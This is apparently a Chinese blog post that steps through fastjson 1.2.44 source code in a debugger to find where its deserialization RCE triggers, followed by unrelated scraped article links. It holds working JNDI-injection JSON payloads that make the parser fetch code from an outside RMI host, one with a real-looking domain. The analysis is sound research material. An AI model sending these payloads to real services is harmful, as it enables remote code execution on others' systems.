首先这个漏洞调试不需要非要使用docker,本身是一个jar包的问题。所以我们可以自己写一个小java代码来直接调试。

POC如下

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://xxxxx/Exploit","autoCommit":true}} 
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig; public class Main { public static void main(String[] args)
{
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
//ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
//String payload1 = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"rmi://xxxxx/Exploit\"}}";
String payload2 = "{\"name\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"x\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://fast.s.pproot.com/Exploit\",\"autoCommit\":true}}";
JSON.parse(payload2);
}
}

java代码如上,下载fastjson-1.2.44.jar放到对应lib目录下,并把lib目录加入到libraries上。

在JSON.parse(payload);下断点,调试。

    public static Object parse(String text, int features) {
return parse(text, ParserConfig.getGlobalInstance(), features);
}

在这块,我个人认为ParserConfig.getGlobalInstance()主要是获取整个代码调用fastjson的时候的设置的环境变量,也就是说,如果在代码块未对一些配置参数更改,那这块获取的配置就是默认的配置环境。

环境可以理解为,就是一些参数值是true还是false。

我们可以看到,autoTypeSupport是false的,

在一些POC里,我们也搜到了一些fastjson  rce漏洞 触发的条件之一就是ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

    public static Object parse(String text, ParserConfig config, int features) {
if (text == null) {
return null;
} DefaultJSONParser parser = new DefaultJSONParser(text, config, features);
Object value = parser.parse(); parser.handleResovleTask(value); parser.close(); return value;
}

来到DefaultJSONParser parser = new DefaultJSONParser(text, config, features);

text就是传入的poc,config就是之前的全局环境配置。我们假设我们不知道哪里触发的,于是我们就要跟入一下new  DefaultJSONParser这个实例化操作。

    public DefaultJSONParser(final String input, final ParserConfig config, int features){
this(input, new JSONScanner(input, features), config);
}

到这块,继续深入。可以通过查看dnslog,发现还没收到请求,说明还没触发漏洞。

text值转入了input,new JSONScanner里面

/fastjson-1.2.44-sources.jar!/com/alibaba/fastjson/parser/JSONLexerBase.java

第1104行

    protected final static char[] typeFieldName = ("\"" + JSON.DEFAULT_TYPE_KEY + "\":\"").toCharArray();

出现了poc里面的一个关键词,JSON.DEFAULT_TYPE_KEY为@type

搜索资料显示JSONLexerBase

JSONLexer是个接口类,定义了各种当前状态和操作接口。JSONLexerBase是对JSONLexer实现的抽象类,类似于序列化的SerializeWriter类,专门解析json字符串,并做了很多优化。实际使用的是JSONLexerBase的两个子类JSONScanner和JSONLexerBase,前者是对整个字符串的反序列化,后者是接Reader直接序列化。

可以看到我们调用了JSONScanner,所以这个漏洞也可以称作反序列化漏洞。

不过我对上面红色的话有异议,因为我搜索了全局的JSONLexerBase,我发现JSONLexerBase的子类只有JSONScanner,且子类名应该和父类不同同名,所以猜测有一定的错误性,但是JSONScanner是用来反序列化这点应该是没有什么问题的。

继续跟进

    public JSONScanner(String input, int features){
super(features); text = input;
len = text.length();
bp = -1; next();
if (ch == 65279) { // utf-8 bom
next();
}
}

text值又为poc了,应该是保持之前的上下文变量统一。

跟到进入

     public char charAt(int index) {
if ((index < 0) || (index >= value.length)) {
throw new StringIndexOutOfBoundsException(index);
}
return value[index];
}

这块没啥用,本来以为会在JSONScanner类里面触发,发现没有,调回到外层的this了。

this(input, new JSONScanner(input, features), config);

这个this其实就是本身DefaultJSONParse类的同名的构造方法,三个形参的那个同名构造方法。

代码如下:

    public DefaultJSONParser(final Object input, final JSONLexer lexer, final ParserConfig config){
this.lexer = lexer;
this.input = input;
this.config = config;
this.symbolTable = config.symbolTable; int ch = lexer.getCurrent();
if (ch == '{') {
lexer.next();
((JSONLexerBase) lexer).token = JSONToken.LBRACE;
} else if (ch == '[') {
lexer.next();
((JSONLexerBase) lexer).token = JSONToken.LBRACKET;
} else {
lexer.nextToken(); // prime the pump
}
}

input是poc,lexer是带有poc的整个反序列化状态环境,config是全局fastjson配置环境变量集合。

 if (ch == '{') {
lexer.next();
((JSONLexerBase) lexer).token = JSONToken.LBRACE;
} else if (ch == '[') {
lexer.next();
((JSONLexerBase) lexer).token = JSONToken.LBRACKET;
} else {
lexer.nextToken(); // prime the pump
}

到这段代码才是真正处理剖析poc的内容。{开头是对象,[开头是数组。

判断第一个字符是{后退出。(⊙o⊙)…,没在DefaultJSONParse触发poc,跳回到执行

        Object value = parser.parse();

继续进入DefaultJSONParse.parse下面

因为是之前同类下面所以,this.lexer还是带有poc的环境情况变量的值。

 public Object parse(Object fieldName) {
final JSONLexer lexer = this.lexer;
switch (lexer.token()) {

lexer.token值是12

case跳到

case LBRACE:
JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
return parseObject(object, fieldName);

查看了LBRACE是全局定义了12。

传入JSONObject类的实例化

进入同名构造函数

    public JSONObject(boolean ordered){
this(DEFAULT_INITIAL_CAPACITY, ordered);
}

DEFAULT_INITIAL_CAPACITY为全局常量为16

ordered为false

    public JSONObject(int initialCapacity, boolean ordered){
if (ordered) {
map = new LinkedHashMap<String, Object>(initialCapacity);
} else {
map = new HashMap<String, Object>(initialCapacity);
}
}

因为这边没有poc,所以肯定也不在这块触发。

后面很多都是在处理,我本身跟踪花了很大的一部分时间。

还是在com.alibaba.fastjson.parser.DefaultJSONParser类里

if (ch == '"') {
key = lexer.scanSymbol(symbolTable, '"');
lexer.skipWhitespace();
ch = lexer.getCurrent();
if (ch != ':') {
throw new JSONException("expect ':' at " + lexer.pos() + ", name " + key);
}
}

循环出key的值为@type。

感觉大概率是这边下面了。JSON.DEFAULT_TYPE_KEY为@type,!lexer.isEnabled(Feature.DisableSpecialKeyDetect))为true。

if (key == JSON.DEFAULT_TYPE_KEY
&& !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
String typeName = lexer.scanSymbol(symbolTable, '"'); if (lexer.isEnabled(Feature.IgnoreAutoType)) {
continue;
} Class<?> clazz = null;
if (object != null
&& object.getClass().getName().equals(typeName)) {
clazz = object.getClass();
} else {
clazz = config.checkAutoType(typeName, null, lexer.getFeatures());
} if (clazz == null) {
map.put(JSON.DEFAULT_TYPE_KEY, typeName);
continue;
} lexer.nextToken(JSONToken.COMMA);
if (lexer.token() == JSONToken.RBRACE) {
lexer.nextToken(JSONToken.COMMA);
try {
Object instance = null;
ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
if (deserializer instanceof JavaBeanDeserializer) {
JavaBeanDeserializer javaBeanDeserializer = (JavaBeanDeserializer) deserializer;
instance = javaBeanDeserializer.createInstance(this, clazz); for (Object o : map.entrySet()) {
Map.Entry entry = (Map.Entry) o;
Object entryKey = entry.getKey();
if (entryKey instanceof String) {
FieldDeserializer fieldDeserializer = javaBeanDeserializer.getFieldDeserializer((String) entryKey);
if (fieldDeserializer != null) {
fieldDeserializer.setValue(instance, entry.getValue());
}
}
}
} if (instance == null) {
if (clazz == Cloneable.class) {
instance = new HashMap();
} else if ("java.util.Collections$EmptyMap".equals(typeName)) {
instance = Collections.emptyMap();
} else {
instance = clazz.newInstance();
}
} return instance;
} catch (Exception e) {
throw new JSONException("create instance error", e);
}
} this.setResolveStatus(TypeNameRedirect); if (this.context != null
&& fieldName != null
&& !(fieldName instanceof Integer)
&& !(this.context.fieldName instanceof Integer)) {
this.popContext();
} if (object.size() > 0) {
Object newObj = TypeUtils.cast(object, clazz, this.config);
this.parseObject(newObj);
return newObj;
} ObjectDeserializer deserializer = config.getDeserializer(clazz);
return deserializer.deserialze(this, clazz, fieldName);
}

String typeName = lexer.scanSymbol(symbolTable, '"');

scanSymbol就是循环取出""里面的内容。

所以typeName的内容是org.apache.ibatis.datasource.jndi.JndiDataSourceFactory

额外知识,看这个object.getClass().getName().equals(typeName)

其实使用了java的反射技巧,通过object这个实力,取getClass,通过实例取到类的内容,然后getName()获得这个object这个实例的类名。

  clazz = config.checkAutoType(typeName, null, lexer.getFeatures());

跟进checkAutoType看到条件

if (typeName.length() >= 128 || typeName.length() < 3) {
throw new JSONException("autoType is not support. " + typeName);
}

要求如果typeName太长,或者太短会报错。

fastjson-1.2.44-sources.jar!/com/alibaba/fastjson/parser/DefaultJSONParser.java的205行循环遍历,

循环到

if (!objParsed) {
obj = this.parseObject(input, key);
}

key为x,进入parseObject。等同于对x的值进行了,进一步的解析。也就是

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://xxxxxx/Exploit","autoCommit":true} 的进一步解析
然后进一步parseObject的函数去解析处理,卧槽,循环了好几次。
ObjectDeserializer deserializer = config.getDeserializer(clazz);

然后取到了deserializer ,com.sun.rowset.JdbcRowSetImpl的反序列化的类

        return deserialze(parser, type, fieldName, 0);

到这边卡住了,但是跳过这一步就是收到了dnslog。

因此最关键的就在这个deserialze下面。

IDEA debug漏洞第二弹(fastjson,version<1.2.47)的更多相关文章

  1. 浅谈Hybrid技术的设计与实现第二弹

    前言 浅谈Hybrid技术的设计与实现 浅谈Hybrid技术的设计与实现第二弹 浅谈Hybrid技术的设计与实现第三弹——落地篇 接上文:浅谈Hybrid技术的设计与实现(阅读本文前,建议阅读这个先) ...

  2. typecho流程原理和插件机制浅析(第二弹)

    typecho流程原理和插件机制浅析(第二弹) 兜兜 393 2014年04月02日 发布 推荐 1 推荐 收藏 14 收藏,3.7k 浏览 上一次说了 Typecho 大致的流程,今天简单说一下插件 ...

  3. 前端学习 第二弹: JavaScript中的一些函数与对象(1)

    前端学习 第二弹: JavaScript中的一些函数与对象(1) 1.apply与call函数 每个函数都包含两个非继承而来的方法:apply()和call(). 他们的用途相同,都是在特定的作用域中 ...

  4. 青瓷引擎之纯JavaScript打造HTML5游戏第二弹——《跳跃的方块》Part 10(排行榜界面&界面管理)

    继上一次介绍了<神奇的六边形>的完整游戏开发流程后(可点击这里查看),这次将为大家介绍另外一款魔性游戏<跳跃的方块>的完整开发流程. (点击图片可进入游戏体验) 因内容太多,为 ...

  5. LCA问题第二弹

    LCA问题第二弹 上次用二分的方法给大家分享了对 LCA 问题的处理,各位应该还能回忆起来上次的方法是由子节点向根节点(自下而上)的处理,平时我们遇到的很多问题都是正向思维处理困难而逆向思维处理比较容 ...

  6. 线段树+RMQ问题第二弹

    线段树+RMQ问题第二弹 上篇文章讲到了基于Sparse Table 解决 RMQ 问题,不知道大家还有没有印象,今天我们会从线段树的方法对 RMQ 问题再一次讨论. 正式介绍今天解决 RMQ 问题的 ...

  7. Hadoop基础-MapReduce的工作原理第二弹

    Hadoop基础-MapReduce的工作原理第二弹 作者:尹正杰 版权声明:原创作品,谢绝转载!否则将追究法律责任. 一.Split(切片)  1>.MapReduce处理的单位(切片) 想必 ...

  8. 『PyTorch』第二弹重置_Tensor对象

    『PyTorch』第二弹_张量 Tensor基础操作 简单的初始化 import torch as t Tensor基础操作 # 构建张量空间,不初始化 x = t.Tensor(5,3) x -2. ...

  9. Java基础-程序流程控制第二弹(循环结构)

    Java基础-程序流程控制第二弹(循环结构) 作者:尹正杰 版权声明:原创作品,谢绝转载!否则将追究法律责任. 流程控制有三种基本结构:顺序结构,选择结构和循环结构.一个脚本就是顺序结构执行的,选择结 ...

随机推荐

  1. JS window对象详解

    window 是客户端浏览器对象模型的基类,window 对象是客户端 JavaScript 的全局对象.一个 window 对象实际上就是一个独立的窗口,对于框架页面来说,浏览器窗口每个框架都包含一 ...

  2. Java8-Executors-No.03

    import java.util.Arrays; import java.util.List; import java.util.concurrent.Callable; import java.ut ...

  3. 配置IIS使其支持APK文件的下载

    在管理工具里打开Internet 信息服务(IIS)管理器.然后选择需要配置的网站. 右侧的界面中会显示该网站的所有功能配置,我们选择并点击进入“MIME类型”   在左侧的操作区选择点击“添加”MI ...

  4. [Javascript] Create an Image with JavaScript Using Fetch and URL.createObjectURL

    Most developers are familiar with using img tags and assigning the src inside of HTML. It is also po ...

  5. PHP mmysqli_affected_rows(connection);函数

    mysqli_affected_rows(); 函数返回前一次 MySQL 操作所影响的记录行数. mysqli_affected_rows(connection); connection 必需.规定 ...

  6. xShell终端中文乱码-解决方法

    中文乱码的原因有三种:(1)Linux系统的编码问题(2)xShell终端的编码问题(3)两端的语言编码不一致 linux系统编码 (1) locale:查看系统语言 (2)echo $LANG:查看 ...

  7. junit3和junit4的使用区别如下

    junit3和junit4的使用区别如下1.在JUnit3中需要继承TestCase类,但在JUnit4中已经不需要继承TestCase2.在JUnit3中需要覆盖TestCase中的setUp和te ...

  8. [Luogu] 矩形覆盖

    https://www.luogu.org/problemnew/show/P1034 数据太水 爆搜过掉 #include <iostream> #include <cstdio& ...

  9. read,write,lseek

    转自 http://blog.csdn.net/todd911/article/details/11237627 1.read 调用read函数从文件去读数据,函数定义如下: #include < ...

  10. LOJ3120. 「CTS2019」珍珠 [容斥,生成函数]

    传送门 思路 非常显然,就是要统计有多少种方式使得奇数的个数不超过\(n-2m\).(考场上这个都没想到真是身败名裂了--) 考虑直接减去钦点\(n-2m+1\)个奇数之后的方案数,但显然这样会算重, ...